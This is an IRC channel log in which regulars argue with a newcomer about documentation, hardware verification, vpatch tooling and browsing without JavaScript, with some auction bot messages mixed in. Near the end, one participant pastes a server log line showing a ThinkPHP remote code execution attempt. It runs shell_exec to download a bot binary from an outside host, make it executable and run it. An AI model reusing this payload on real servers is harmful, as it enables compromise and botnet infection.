tmsr - Log 2019-04-07

OriansJ: asciilifeform: that is not an effective mechanism of documentation reference ☟︎

asciilifeform: i find it quite effective.

OriansJ: asciilifeform: which is fine if you expect to only work alone and have the work lost in the sands of time. ☟︎☟︎

asciilifeform: OriansJ is under the impression that asciilifeform works alone ?

asciilifeform: i recommend to read the log. you will find that asciilifeform is not the only 1 who finds it effective reference.

OriansJ: asciilifeform: Having spent time reading the log; I am less than impressed ☟︎☟︎☟︎

BingoBoingo: Some futher organization of the literature would probably help with initiations, but first asciilifeform needs to catch a transcription slave

asciilifeform: i cannot resist to ask OriansJ , what exactly then is he doing here ? ☟︎

asciilifeform: there's, y'know, a whole net of elsewhere to be

OriansJ: asciilifeform: I seek out potential; and I heard there was potential here.

asciilifeform: potential of what , concretely ?

OriansJ: Creating anything I find interesting or useful. Be it through mutual cooperation or single sided self-interest.

asciilifeform: OriansJ: if you're interested in concrete approach of asciilifeform to design of iron, i invite to study http://nosuchlabs.com/hardware.html , item asciilifeform designed & sold ( two runs sold out 100% , possibly in near future we bake a 3rd, on ice40 and photoscintillator , as discussed in logs )

asciilifeform: the engine http://btcbase.org/patches/fg-genesis/tree/fg.v incidentally is 100% siliconizable as it stands.

asciilifeform: ( and deterministically testable for 'doing what's printed on the box' . you pump a coupla TB of known bits through it, and observe that the expected outs in fact came out )

asciilifeform: ( bits known -- that is -- to you only )

asciilifeform: http://btcbase.org/log/2018-10-24#1865586 << 1 variant. ☝︎

a111: Logged on 2018-10-24 16:55 asciilifeform: http://nosuchlabs.com/fg/photo/yoke.jpg << actual photo of procedure.

asciilifeform: ^ i.e. a unit suspected of containing hidden functionality vis-a-vis any other existing unit, can be 'slaved' to the latter , and the outputs compared.

asciilifeform: imho this is an absolute ~minimal~ requirement for hypothetical sane irons of any other type.

OriansJ: So classic multiprocessor lock-step computing common in space craft

asciilifeform: exactly these

asciilifeform: i do not claim to have invented the method.

asciilifeform: cribbed directly from classical sov-engineering, like just about all other asciilifeform methods.

OriansJ: asciilifeform: BESM-6 style engineering?

OriansJ: interesting

OriansJ: I would have expected more code-morph style engineering given that hardware style.

asciilifeform: 'мажоритарная логика' (majority-logic) in the general case, i do not recall what the english folx call it ( afaik they gave up on it errywhere other than orbit in recent yrs )

asciilifeform: OriansJ: what's 'code-morph' ?

OriansJ: https://en.wikipedia.org/wiki/Just-in-time_compilation ☟︎

OriansJ: https://en.wikipedia.org/wiki/Transmeta

asciilifeform: how would this apply in re the linked device ?

BingoBoingo: !!unrate OriansJ

deedbot: Get your OTP: http://p.bvulpes.com/pastes/T4EDi/?raw=true

asciilifeform: fg doesn't even contain a vonneumann cpu

asciilifeform: it's a straight single-purpose logic circuit, would fit in a hundred or so 74xxx discretes if you felt like it

BingoBoingo: !!v F06E043C1BCB91FB56B0AEA3D7A02B8F6074B5AB6455CFCC3D70684B0CF80687

deedbot: BingoBoingo unrated OriansJ.

asciilifeform: BingoBoingo: quick on the trigger finger today aintcha ☟︎

asciilifeform: !!rate OriansJ 1 neophyte / temp. voice

deedbot: Get your OTP: http://p.bvulpes.com/pastes/zzoQ1/?raw=true

asciilifeform: !!v 1905A8CAFC52E459F6524DA32B2709CD0894C1D627DD24BD83CA93FDFD3718A3

deedbot: asciilifeform rated OriansJ 1 << neophyte / temp. voice

BingoBoingo: asciilifeform: With the conversation going on I figured it's time to let someone else carry the voicing.

asciilifeform: BingoBoingo: aite. i'ma lie down again soon tho

BingoBoingo: Recover well

asciilifeform: ty BingoBoingo

asciilifeform: OriansJ: lotsa folx over the years landed in the logs, and thought 'these people sit and philosophize and what'. but plenty of examples of working mechanism , if yer interested to study. http://www.loper-os.org/?cat=49 for instance is a just-short-of-done constant-time 0-dependency cryptoarithmetizer.

asciilifeform: i.e. performs, e.g. rsa, with zero conditional-on-inputs branch instructions, anywhere.

asciilifeform: ( and likewise zero input-variant memory addressing )

BingoBoingo: Then there's the V

asciilifeform: BingoBoingo: let the fella eat at own pace, or will choke

asciilifeform: for all i know already choked

OriansJ: asciilifeform: not choked, looking for more

asciilifeform: OriansJ: then have, e.g., 'v' : http://cascadianhacker.com/07_v-tronics-101-a-gentle-introduction-to-the-most-serene-republic-of-bitcoins-cryptographically-backed-version-control-system ☟︎

asciilifeform: ^ is what we use for a versionatron. exclusively.

asciilifeform: ( observe, earlier linked fg, ffa , distributed strictly as vpatches )

asciilifeform: other people have other projects, i was speaking strictly of own thus far.

BingoBoingo: Also http://btcbase.org/patches with projects living in the dropdown menu

asciilifeform: mircea_popescu & diana_coman for instance have a multiplayer game. lobbes has various useful automata (e.g. auction bot) . http://therealbitcoin.org exists. and plenty else.

asciilifeform: ave1 has a bare-iron gnat port.

asciilifeform: there's in fact moar than i can list from memory in coupla min.'s time and coupla log ln. of space.

OriansJ: the javascript requirement is a bit odd though for the patches page ☟︎

asciilifeform: OriansJ: it displays sans js, you simply gotta manually throw in param after the '?' mark

asciilifeform: ( phf's www engine, btw. all q's to him. )

asciilifeform: 100% commonlisp.

asciilifeform: re older asciilifeform items , there is e.g. http://phuctor.nosuchlabs.com/stats .

OriansJ: asciilifeform: I've hit http://btcbase.org/patches?patchset=v and no it doesn't display without javascript enabled ☟︎

asciilifeform: ^ bug report to phf ^ ☟︎

BingoBoingo: It uses SVG

asciilifeform: OriansJ: i gotta take off shortly. you will definitely want to speak to mp, whose chan this is. ( he is travelling but i expect will stop by some time in next coupla d )

BingoBoingo: Anytime from minutes to weeks is possible.

OriansJ: well; I guess we will have to see. Until then

asciilifeform will bbl

auctionbot: Buy order # 1046: 500 WFF, WU esta bien Heard: 130mn from lobbes outbidding jurov. Ending: 2019-04-07 12:12:39.925433 UTC (22 hours 12 mins)

PeterL: !Xbid 1046 125mn

auctionbot: Buy order # 1046: 500 WFF, WU esta bien Heard: 125mn from PeterL outbidding lobbes. Ending: 2019-04-07 12:12:39.925433 UTC (20 hours 46 mins)

spyked: http://btcbase.org/log/2019-04-07#1907214 <-- don't you find it weird, though, that you say this, and then after just a few lines you http://btcbase.org/log/2019-04-07#1907238 ? this is not a rhetorical question: you're unimpressed by the recorded 5+yo history of discussions of a group of ~actual people~, and the reflection therein of their ~actually doing~ things; and then immediately you go on to referen ☝︎☝︎☟︎

a111: Logged on 2019-04-07 00:04 OriansJ: asciilifeform: Having spent time reading the log; I am less than impressed

a111: Logged on 2019-04-07 00:21 OriansJ: https://en.wikipedia.org/wiki/Just-in-time_compilation

spyked: ce the collection of writings of nobody in particular. do you see the dissonance there?

spyked: from where I'm looking, this is precisely http://btcbase.org/log/2018-04-18#1802051 ☝︎

a111: Logged on 2018-04-18 16:34 mircea_popescu: and they are that by personal, wholly owned choice. nobody asked them, or told them, or "made them" act in the specific manner of their subhuman nature, whereby "1. if it's not comfortable ~to me~ i'm 'not interested' because 2. i expect there's enough of us animals around so that 3. under the pressure of our wilful ignorance the republic will be forced to change and adapt."

phf: http://btcbase.org/log/2019-04-07#1907277 << it works fine without the javascript, i use it regularly in lynx (and occasional exotic browsers like netsurf), but i suspect it will fail in a browser, that both fails to display SVG and then fails to display a link map ☝︎

a111: Logged on 2019-04-07 00:36 asciilifeform: ^ bug report to phf ^

OriansJ: I would like to thank everyone here; for helping me to realize the importance of good documentation.

OriansJ: phf: Tor-browser paranoid mode for reference ☟︎☟︎

phf: OriansJ: good luck with that

OriansJ: phf: the cost of trying to interact with those that don't share one's values; for the sake of hopefully learning something of value or finding a fruitful cooperation.

phf: OriansJ: i don't understand what your comment is in response to, would you mind elaborating

OriansJ: phf: The choice of browser as per your previous comment

phf: oh, why not put your explorations on a separate machine, and have one machine that's in actual working order? unless you've made a conscious choice not to support svg in your stack, your stack appears to be broken

OriansJ: phf: It is on a seperate machine; The svg subset that isn't turing complete is enabled and working.

phf: OriansJ: so why not browse btcbase patches from your regular machine?

OriansJ: phf: I have no web browser on my regular machine nor any desire to add one.

OriansJ: now I am willing to build from source tools (after an audit) that will work with v; so that I can interact with the patches directly but as I have not finished an audit nor trust anyone who has previously audited the code; I am left with the bad option of setting up a burn box to view the patches. ☟︎☟︎

phf: oh you just don't support html in general (presumably you still http with something like wget), i think your position would've been a lot stronger if you just said so, rather then something something tor browser. i'm vaguely curious what "non-turing complete svg subset" is, but that's a stone that will have to be turned some other time

OriansJ: phf: well few people would understand that position; so I tend to express concepts in forms for general consumption. Even though it will result in loss of precision; as few people are technical enough to care about the details lost.

OriansJ: phf: short version SVG that only supports lines and text but not SVG Animation or any of the other fun extras. ☟︎

phf: OriansJ: so i've thought about it, expressing concepts in forms for general consumption is a bad coping mechanism from a life time of being the smartest person in the room (assuming that it's not a ruse or self-delusion and you _are_ actually capable of clear thinking). problem is that it makes you lazy and rots the brain, and then when you're in the room of equals or superiors you suddenly discover that you're not practiced at ☟︎

phf: expressing yourself precisely and communicating clearly. another problem is that you yourself start thinking in shortcuts. and to what end? like take your svg comment, what's it supposed to accomplish? "oh, how interesting". anyway, please don't do it here.

OriansJ: phf: I have always felt precise and clear communication can only occur when both parties are open to the expression to incomplete thoughts with the goal of synchronize understandings. Otherwise the communication style is forced into a form of data dumps with long load times and a general ineffectiveness of cooperation between individuals; particularly when the delta between individuals is large.

asciilifeform: http://btcbase.org/log/2019-04-07#1907304 << i formerly thought that this was obvious from the docs , but you ~can~ operate on vpatches without a vtron ( they're edible by trad. unix 'patch' util, and you can verify the sigs with anyffin roughly gpg-like , also by hand ) ☝︎☝︎☟︎

a111: Logged on 2019-04-07 12:01 OriansJ: now I am willing to build from source tools (after an audit) that will work with v; so that I can interact with the patches directly but as I have not finished an audit nor trust anyone who has previously audited the code; I am left with the bad option of setting up a burn box to view the patches.

a111: Logged on 2019-04-07 00:29 asciilifeform: OriansJ: then have, e.g., 'v' : http://cascadianhacker.com/07_v-tronics-101-a-gentle-introduction-to-the-most-serene-republic-of-bitcoins-cryptographically-backed-version-control-system

asciilifeform: iirc we encountered 1 of these at least 1ce before -- a fella who didn't want to keep either python or perl around on his machine, but wanted to v

asciilifeform: can't seem to find in log tho

asciilifeform: http://btcbase.org/log/2019-04-07#1907286 << to make matters worse still -- i tried , but still cannot fathom what was the connection b/w the linked pediwikism and the thread.. ☝︎

a111: Logged on 2019-04-07 08:49 spyked: http://btcbase.org/log/2019-04-07#1907214 <-- don't you find it weird, though, that you say this, and then after just a few lines you http://btcbase.org/log/2019-04-07#1907238 ? this is not a rhetorical question: you're unimpressed by the recorded 5+yo history of discussions of a group of ~actual people~, and the reflection therein of their ~actually doing~ things; and then immediately you go on to referen

asciilifeform: !!up OriansJ

deedbot: OriansJ voiced for 30 minutes.

asciilifeform: OriansJ: you may find it interesting that a number of noobs wrote own vtron, rather than bothering to audit the old; the former is generally easier than the latter

asciilifeform: phf: hrm i missed the http://btcbase.org/log/2019-04-07#1907295 ln. on init. read. patients with this symptom have exceedingly poor prognosis (witness e.g. Framedragger , succumbed to torcancer year+ after init. remission..) but it aint like the triage queue is full , thought worth try. ☝︎

a111: Logged on 2019-04-07 11:08 OriansJ: phf: Tor-browser paranoid mode for reference

asciilifeform: !Qlater tell ben_vulpes is mimisbrunnr gone for good ?

lobbesbot: asciilifeform: The operation succeeded.

asciilifeform bbl:tea

auctionbot: Buy order # 1046: 500 WFF, WU esta bien Heard: 120mn from jurov outbidding PeterL. Ending: 2019-04-07 12:12:39.925433 UTC (5 hours 42 mins)

phf: bvt: do you mind signing http://btcbase.org/patches/vtools_tempfile_standalone_notmp the version at http://btcbase.org/data/vtools/vtools_tempfile_standalone_notmp.vpatch i reground it for keccak and new manifest

asciilifeform: in other lulz : 200.77.147.186 - - [07/Apr/2019:15:38:49 -0400] "GET /index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://love.thotiana.live/bins/x86.bot;cat%20x86.bot%20>%20fucklol;chmod%20777%20fucklol;./fucklol%20thinkphp HTTP/1.1" 301 185 "-" "WOW" "-"

bvt: phf: http://bvt-trace.net/2018/10/vpatch-replacing-mktemp3-take-two/#selection-13.0-31.43

phf: bvt: ty

auctionbot: Buy order # 1046: 500 WFF, WU esta bien Heard: 114mn from PeterL outbidding jurov. Ending: 2019-04-07 12:12:39.925433 UTC (2 hours 40 mins)

BingoBoingo: Quite a lot of bidding this month ☟︎

PeterL: seems to be a function of how far from the price listed elsewhere that you start it ☟︎